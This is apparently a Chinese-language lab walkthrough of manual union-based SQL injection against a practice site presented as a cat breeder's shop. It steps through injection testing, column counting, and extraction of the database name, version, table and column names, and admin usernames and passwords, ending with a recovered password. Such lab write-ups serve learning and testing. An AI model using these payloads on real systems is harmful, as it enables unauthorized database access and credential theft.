尤里的复仇（1）——掌控者

获取网址：宠物猫 异国短毛猫 纯种猫 加菲猫 波斯猫 辛巴猫舍 纯种双色/梵文波斯、异国小猫 CFA注册猫舍纯种猫 猫舍 ，辛巴猫舍为CFA注册猫舍，繁育纯种波斯猫和异国短毛梵纹猫http://cntj8003.ia.aqlab.cn/

判断是否存在sql注入漏洞

构造 ?id=1 and 1=1 ，回车

页面正常

构造 ?id=1 and 1=2 ，回车

页面不正常，初步判断这里 可能 存在一个注入漏洞

判断字段数

构造?id=1 and 1=1 order by 1，回车

页面正常

构造 ?id=1 and 1=1 order by 2 回车

页面正常

构造 ?id=1 and 1=1 order by 3 回车

页面返回 错误，判断字段数为2

判断回显点

构造 ?id=1 and 1=2 union select 1,2 回车

页面出现了 2 ，说明我们可以在数字 2 处显示我们想要的内容

查询相关内容

查询当前数据库名

构造 ?id=1 and 1=2 union select 1,database() 回车

查询当前数据库版本

构造 ?id=1 and 1=2 union select 1,version() 回车

查询当前数据库 表名

构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

绝大数情况下，管理员的账号密码都在admin表里

查询字段名

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车

第一个字段ID

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车

第二个字段username

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车

第三个字段为password

查出 admin 表里 有 id username password 三个字段

查询字段内容

构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回车

构造 ?id=1 and 1=2 union select 1,password from admin limit 2,1 回车

limit 2,1 没有回显，说明有两个用户

构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1 回车

获得admin密码啦hellohack

构造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回车

这是另一个用户的密码